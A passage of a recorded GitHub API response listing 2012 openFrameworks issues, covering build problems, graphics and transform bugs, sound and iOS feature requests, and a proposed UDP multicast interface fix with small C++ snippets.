etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-22T00:28:08Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3324501,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T14:41:17Z","body":"As requested in https://github.com/openframeworks/openFrameworks/pull/794 I've branched openframeworks:develop into my own branch and applied the fixes required to build openFrameworks for Android with MinGW on the windows platform.\r\n\r\nThe instructions on how to compile are still valid (except for the part of patching):\r\nhttp://www.multigesture.net/articles/how-to-setup-openframeworks-for-android-on-windows/\r\n\r\nNote 1: You will need to run:\r\nandroid.bat update project --target android-8 --path C:\\openFrameworks\\addons\\ofxAndroid\\ofAndroidLib\r\n\r\nThis updates the project files for ofAndroidLib project. I didn't included those because those are user specific (they contain the path to the sdk)\r\n\r\nNote 2: d3ddf8e1 \r\nI only added this commit in order to make the examples build properly. Someone still needs to fix the proper implementation.\r\n\r\nNote 3: 7a9cf0ba\r\nWhile working on NodeBeat, we found out that not all devices are using /mnt/sdcard as their external storage location. In some cases the sdcard is located somewhere else (\"Environment.getExternalStorageDirectory()\" doesnt always return the correct location). This commit fixes this problem by checking several locations as reported on multiple Stackoverflow threads. More info about this issue can be found in the commit description.\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/922","comments":13,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":922,"html_url":"https://github.com/openframeworks/openFrameworks/issues/922","assignee":null,"title":"Windows compatibility patches and External storage location fixes.","labels":[],"closed_at":null,"created_at":"2012-02-19T23:30:24Z","state":"open","user":{"url":"https://api.github.com/users/falcon4ever","avatar_url":"https://secure.gravatar.com/avatar/4a503abeaa3d803e55e99093fbf1505d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4a503abeaa3d803e55e99093fbf1505d","login":"falcon4ever","id":480019},"id":3288053,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/922.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/922","patch_url":"https://github.com/openframeworks/openFrameworks/pull/922.patch"}},{"updated_at":"2012-02-16T09:39:46Z","body":"What about having our own transform stack , in order to:\r\n-avoid to recompute globalTransformMatrix in each ofNode\r\n-could use it when rendering with OpenGL ES 2.0 shaders , which do not support predefined matrix values as world (modelview), worldProjection , or world inverseTranspose (for normals)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920","comments":0,"milestone":null,"number":920,"html_url":"https://github.com/openframeworks/openFrameworks/issues/920","assignee":null,"title":"Transform stack","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-16T09:39:46Z","state":"open","user":{"url":"https://api.github.com/users/AugusteBonnin","avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","login":"AugusteBonnin","id":1442658},"id":3248309,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-16T09:31:24Z","body":"There is an easy-to-correct error in ofNode::transformGL:\r\nIt should call loadMatrix with globalTransformMatrix as parameter (with a void restoreGL), or pushMatrix then multMatrix with localTransformMatrix (with a restoreGL that pops the previously pushed matrix),\r\nNOT push then mult with global. The bug appears as soon as you have got more than one level of depth in your node tree. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/919","comments":0,"milestone":null,"number":919,"html_url":"https://github.com/openframeworks/openFrameworks/issues/919","assignee":null,"title":"Error in ofNode::transformGL","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-16T09:31:24Z","state":"open","user":{"url":"https://api.github.com/users/AugusteBonnin","avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","login":"AugusteBonnin","id":1442658},"id":3248230,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-08T10:15:31Z","body":"vs2010 does not include stdint.h support:\r\n\r\nhttp://stackoverflow.com/questions/126279/c99-stdint-h-header-and-ms-visual-studio\r\n\r\nwhich causes addon bugs like this:\r\n\r\nhttps://github.com/openframeworks/openFrameworks/issues/559\r\nhttps://github.com/kylemcdonald/ofxCv/issues/28\r\n\r\neven though these bugs aren't in the core, i think OF is designed to make it easy for people to write cross-platform, cross-compiler code. so i propose that we add an explicit declaration of the missing types for vs2010.\r\n\r\nthis isn't really something i'm worried about directly since i don't use vs2010, but i know people like elliot do. and it would be cleaner to add it once to the core than to add it once for every addon that is broken.\r\n\r\nthe solution would probably look like: take dan's code from the above issue, and move it from ofxOsc into the core.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/917","comments":5,"milestone":null,"number":917,"html_url":"https://github.com/openframeworks/openFrameworks/issues/917","assignee":null,"title":"add global stdint.h support?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":null,"created_at":"2012-02-15T02:38:17Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3229504,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T14:55:20Z","body":"to match ofGetWidth(), ofGetHeight()\r\n\r\ni.e. for ofGetMouseX() / ofGetWidth()","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/916","comments":1,"milestone":null,"number":916,"html_url":"https://github.com/openframeworks/openFrameworks/issues/916","assignee":null,"title":"ofGetMouseX() and ofGetMouseY() should return float","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-14T05:17:47Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3214174,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-13T08:16:08Z","body":"I had downloaded the 007 version, when I run of_preRelease_v007_linux/scripts/linux/debian/install_codeblocks.sh it install codeblocks without error, but when I run preRelease_v007_linux/scripts/linux/debian/install_dependencies.sh I get this error\r\n\r\ncompiling object for ../../../openFrameworks/graphics/ofGraphics.cpp\r\nmkdir -p obj/Debug/openFrameworks/graphics\r\ng++ -g3 -Wall -fexceptions -I../../../FreeImage/include -I../../../assimp/include -I../../../assimp/include/Compiler -I../../../cairo/include -I../../../cairo/include/cairo -I../../../cairo/include/pixman-1 -I../../../cairo/include/libpng15 -I../../../fmodex/include -I../../../freetype/include -I../../../freetype/include/freetype2 -I../../../freetype/include/freetype2/freetype -I../../../freetype/include/freetype2/freetype/config -I../../../freetype/include/freetype2/freetype/internal -I../../../freetype/include/freetype2/freetype/internal/services -I../../../glew/include -I../../../glew/include/GL -I../../../kiss/include -I../../../portaudio/include -I../../../rtAudio/include -I../../../tess2/include -I../../../poco/include -I../../../glu/include -I../../../openFrameworks/ -I../../../openFrameworks/3d -I../../../openFrameworks/math -I../../../openFrameworks/types -I../../../openFrameworks/graphics -I../../../openFrameworks/utils -I../../../openFrameworks/app -I../../../openFrameworks/video -I../../../openFrameworks/events -I../../../openFrameworks/communication -I../../../openFrameworks/gl -I../../../openFrameworks/sound -pthread -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/cairo -I/usr/include/pango-1.0 -I/usr/include/gio-unix-2.0/ -I/usr/include/pixman-1 -I/usr/include/freetype2 -I/usr/include/libpng12 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -DOF_USING_GTK -MMD -MP -MFobj/Debug/openFrameworks/graphics/ofGraphics.d -MTobj/Debug/openFrameworks/graphics/ofGraphics.d -o obj/Debug/openFrameworks/graphics/ofGraphics.o -c ../../../openFrameworks/graphics/ofGraphics.cpp\r\n../../../openFrameworks/graphics/ofGraphics.cpp:37:22: warning: GL/glut.h: No such file or directory\r\n../../../openFrameworks/graphics/ofGraphics.cpp: In function ‘void ofSphere(float)’:\r\n../../../openFrameworks/graphics/ofGraphics.cpp:889: error: ‘glutSolidSphere’ was not declared in this scope\r\n../../../openFrameworks/graphics/ofGraphics.cpp:891: error: ‘glutWireSphere’ was not declared in this scope\r\nmake: *** [obj/Debug/openFrameworks/graphics/ofGraphics.o] Error 1\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/915","comments":2,"milestone":null,"number":915,"html_url":"https://github.com/openframeworks/openFrameworks/issues/915","assignee":null,"title":"problems installing dependencies in debian 6.0.4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2012-02-13T05:45:01Z","state":"open","user":{"url":"https://api.github.com/users/atomsfat","avatar_url":"https://secure.gravatar.com/avatar/f732e5a8b77f8e4ed8fadc2c71916236?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"f732e5a8b77f8e4ed8fadc2c71916236","login":"atomsfat","id":140008},"id":3196145,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-12T04:41:26Z","body":"We have ofSetDataPathRoot() .... it makes sense to have a Getter as well. Basically I wanted the absolute path to the root data folder.\r\n\r\nI managed to fake this by calling ofToDataPath(\".\",true) but this seems a little counter-intuitive.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/914","comments":0,"milestone":null,"number":914,"html_url":"https://github.com/openframeworks/openFrameworks/issues/914","assignee":null,"title":"Add ofGetDataPathRoot","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-12T04:41:26Z","state":"open","user":{"url":"https://api.github.com/users/pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","id":392160},"id":3189189,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T14:56:56Z","body":"it would be amazing if ofBeginShape()/ofEndShape() and ofPath supported tex coords (maybe ofTexCoord() and addTexCoord()).\r\n\r\nthis would allow for drawing arbitrary subsections of an image, or for creating an ofMesh that is texture mapped by an image.\r\n\r\nprocessing handles this with extra arguments to vertex() http://processing.org/reference/texture_.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/909","comments":3,"milestone":null,"number":909,"html_url":"https://github.com/openframeworks/openFrameworks/issues/909","assignee":null,"title":"shapes with texCoords","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-10T01:42:42Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3166745,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-09T08:16:47Z","body":"a student just showed me how you can use the xcode templates for pocode to create a new project wherever you want on the disk. i know we used to have xcode templates for this, but i just tried them and it seems to be hilariously broken.\r\n\r\ni'm not sure if the new project creator stuff covers this idea or not, but it would be great to have a similar ability with OF somehow.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/902","comments":2,"milestone":null,"number":902,"html_url":"https://github.com/openframeworks/openFrameworks/issues/902","assignee":null,"title":"Xcode templates should be fixed or removed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-09T04:30:13Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3152323,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-08T21:50:23Z","body":"to draw a filled ofPolyline right now, you need to use beginshape/endshape. but i think a way of adding ofPolylines to an ofPath would be really good -- even a conversion from ofPolyline to ofPath might make sense. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/901","comments":0,"milestone":null,"number":901,"html_url":"https://github.com/openframeworks/openFrameworks/issues/901","assignee":null,"title":"easier filled ofPolyline, or easy ofPolyline->ofPath conversion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-08T21:50:23Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3148441,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-09T14:46:48Z","body":"Hi.\r\n\r\nI've been trying to load stream video ( mpeg2 .ts and hls .m3u8 ) using OF on MacOS 10.7.2.\r\n\r\nBoth cases causes error -2048 in the line below: ( l:89, ofQuickTimePlayer.cpp )\r\n\r\n```c++\r\nerr = NewMovieFromDataRef(&movie, newMovieAsyncOK,nil, urlDataRef, URLDataHandlerSubType);\r\n```\r\n\r\nLoading remote .mp4 works perect. Loading same streams in QuickTime player(v10.1) works without any troubles.\r\n\r\nSo, it seems the trouble happens just when no videofile size info returned from server.\r\n\r\nIs it a bug? Or I've missed smthng?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/897","comments":4,"milestone":null,"number":897,"html_url":"https://github.com/openframeworks/openFrameworks/issues/897","assignee":null,"title":"ofQuickTimePlayer.createMovieFromURL fails on streaming video","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-06T11:42:08Z","state":"open","user":{"url":"https://api.github.com/users/4pcbr","avatar_url":"https://secure.gravatar.com/avatar/52e8e29748826594f27b5c6c20a353e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"52e8e29748826594f27b5c6c20a353e0","login":"4pcbr","id":247109},"id":3106705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-05T17:11:59Z","body":"This concerns libraries included in addons in source form. According to [this issue](https://github.com/chrisoshea/ofxMidi/issues/8) reported by @danomatika, the makefile can only compile libraries' source code if they are in an addon's `/src` folder. This is in contradiction with @obviousjim's guide to addons' folder structure at http://ofxaddons.com/howto.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/896","comments":6,"milestone":null,"number":896,"html_url":"https://github.com/openframeworks/openFrameworks/issues/896","assignee":null,"title":"Makefile and ofxaddons.com guide don't agree regarding file structure","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2012-02-05T15:20:42Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3099567,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-10T02:47:13Z","body":"it needs to handle all these things:\r\n\r\n- meshes vs point clouds\r\n- different types of meshes (depending on the triangles)\r\n- indexed vs non-indexed geometry\r\n- colors, normals, texcoords\r\n- ascii vs binary\r\n- loading from externally created/defined ply files","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/880","comments":1,"milestone":null,"number":880,"html_url":"https://github.com/openframeworks/openFrameworks/issues/880","assignee":null,"title":"test ofMesh::load/save rigorously","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-01-25T16:55:09Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":2967700,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"If you set the proper switches on the iphone sound stream you can get it to play over whatever is playing on the users ipod without muting it. There are a bunch of switches for this behavior detailed in kAudioSessionProperty_Mode.\r\n\r\nThese would need to be set before initing the audio session. The other issue is that there are like 15-20 flags you can set. Maybe just a slightly higher level setting on the stream so that these behaivors could be set in the users testapp.mm","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/878","comments":0,"milestone":null,"number":878,"html_url":"https://github.com/openframeworks/openFrameworks/issues/878","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"add a switch to the iphone soundstream to support ambient","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-24T16:41:17Z","state":"open","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":2952993,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T18:33:39Z","body":"change pan range to -1..1, right now is 0..1","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/875","comments":2,"milestone":null,"number":875,"html_url":"https://github.com/openframeworks/openFrameworks/issues/875","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"ofOpenALSoundPlayer pan -1..1","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-21T00:01:45Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":2918619,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4938'), ('content-length', '49322'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"93bd237d518e2c23c29e5e7b340262a8"'), ('date', 'Tue, 29 May 2012 19:27:14 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-10T05:09:49Z","body":" testImg.saveImage(ofxiPhoneGetDocumentsDirectory() + \"test.png\");\r\ncrashes the App and results in this error:\r\n\r\nProgram received signal: \"SIGARBT\".\r\n\r\nerror thrown in this line:\r\n\r\n FreeImage_Save(fif, bmp, fileName.c_str());","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/872","comments":1,"milestone":null,"number":872,"html_url":"https://github.com/openframeworks/openFrameworks/issues/872","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"saveImage crashes in iOS Simulator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-01-17T21:51:17Z","state":"open","user":{"url":"https://api.github.com/users/khlrqa","gravatar_id":"dfa7e4582a04e784d50c750ae51d894f","login":"khlrqa","avatar_url":"https://secure.gravatar.com/avatar/dfa7e4582a04e784d50c750ae51d894f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":53301},"id":2875276,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-01-07T15:38:14Z","body":"Hi -\r\n\r\nwhen it comes down to multicast communication over udp, it's is important that the correct ip address of the local interface is set. Most computers nowadays have several interfaces (wired and wireless). Whereas ofxUDPManager::BindMcast uses INADDR_ANY as the local address, this might be wrong if you are not using the default interface. In my case, I connect the computers in a local wlan. The wlan device is not the primary device on my machine.\r\n\r\nTherefore I rewrote the BindMcast function adding a third argument pLocal, the local Ip address of the network interface.\r\n\r\n```c++\r\nbool ofxUDPManager::BindMcast(char *pMcast, unsigned short usPort, char *pLocal)\r\n```\r\nchanging the line: \r\n\r\n```c++\r\nmreq.imr_interface.s_addr = pLocal == \"\" ? INADDR_ANY: inet_addr(pLocal);\r\n```\r\n\r\nwhich makes a different header file as well:\r\n\r\n```c++\r\nbool BindMcast(char *pMcast, unsigned short usPort, char *pLocal = \"\");\r\n```\r\n\r\nAs you can see, the pLocal Adress is optional, if omitted, INADDR_ANY is used (backwards compatibility).\r\n\r\n\r\nNOTE:\r\n\r\nI've added the function:\r\n\r\n```c++\r\nchar* GetInterfaceAddr(const char* interface); //returns the IP of a specified interface\r\n```\r\n\r\nto the ofxUDPManager as well. This function returns the IP adress of an interface (e.g. en1 on a mac for the airport device). This is useful in dhcp networks, where your own address always changes. The function itself looks like:\r\n\r\n```c++\r\n//--------------------------------------------------------------------------------\r\nchar* ofxUDPManager::GetInterfaceAddr(const char* interface)\r\n{\r\n\tint fd;\r\n\tstruct ifreq ifr;\r\n\tfd = socket(AF_INET, SOCK_DGRAM, 0);\r\n\tifr.ifr_addr.sa_family = AF_INET;\r\n\tstrncpy(ifr.ifr_name, interface, IFNAMSIZ-1);\r\n\tioctl(fd, SIOCGIFADDR, &ifr);\r\n\tclose(fd);\r\n\treturn(inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr));\r\n}\r\n```\r\n\r\nPlease not that for this function, additional headers have to be included in ofxUDPManager.h:\r\n\r\n```c++\r\n#include \r\n```\r\n\r\nIf you consider the changes useful, theres a copy of the two files downloadable here:\r\nhttp://dl.dropbox.com/u/394122/ofxUDPManager_uh_07012012.zip\r\n\r\nregards,\r\nUrs Hofer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/866","comments":0,"milestone":null,"number":866,"html_url":"https://github.com/openframeworks/openFrameworks/issues/866","assignee":null,"title":"Multicast & UDP: Local IP required when dealing with multiple network interfaces","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-01-07T15:38:14Z","state":"open","user":{"url":"https://api.github.com/users/urshofer","gravatar_id":"0424af1c917883090f0edddf55a8f21b","login":"urshofer","avatar_url":"https://secure.gravatar.com/avatar/0424af1c917883090f0edddf55a8f21b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":116976},"id":2756440,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"I've posted here\r\nhttp://forum.openframeworks.cc/index.php/topic,8467.new.html\r\n\r\nAt the moment when you do sample.unloadSound() on 